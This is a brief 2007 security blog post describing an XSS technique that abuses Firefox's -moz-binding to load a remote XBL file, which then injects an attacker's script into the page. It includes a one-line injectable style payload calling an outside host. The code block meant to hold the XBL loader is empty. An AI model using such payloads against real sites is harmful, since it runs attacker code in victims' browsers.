--- layout: post status: publish published: true title: Firefox XBL-JS Loader v1.0 wordpress_id: 294 wordpress_url: http://pro.grammatic.org/post-firefox-xbljs-loader-v10-4.aspx date: !binary |- MjAwNy0wNS0xNSAxMzo0MTo1NSArMDIwMA== date_gmt: !binary |- MjAwNy0wNS0xNSAxMzo0MTo1NSArMDIwMA== categories: - Technology - InfoSec tags: - information security comments: [] ---

Today I wrote a simple tool to illustrate the binding of a Javascript document to a page using Firefox's XBL support (-moz-binding) in an XSS context.

The process works as follows:

  1. Inject attributes as follows (different encodings may be necessary): <element style = "-moz-binding:url('http://site.com/STXSS_XBL.xml#loader');" />.
  2. Browser loads XBL document.
  3. XBL document modifies DOM to include <script src="evil_script.js"/>.
  4. Browser loads and parses Javascript.

The required XBL document (STXSS_XBL.xml) is as follows:

{% highlight xml %} {% endhighlight %}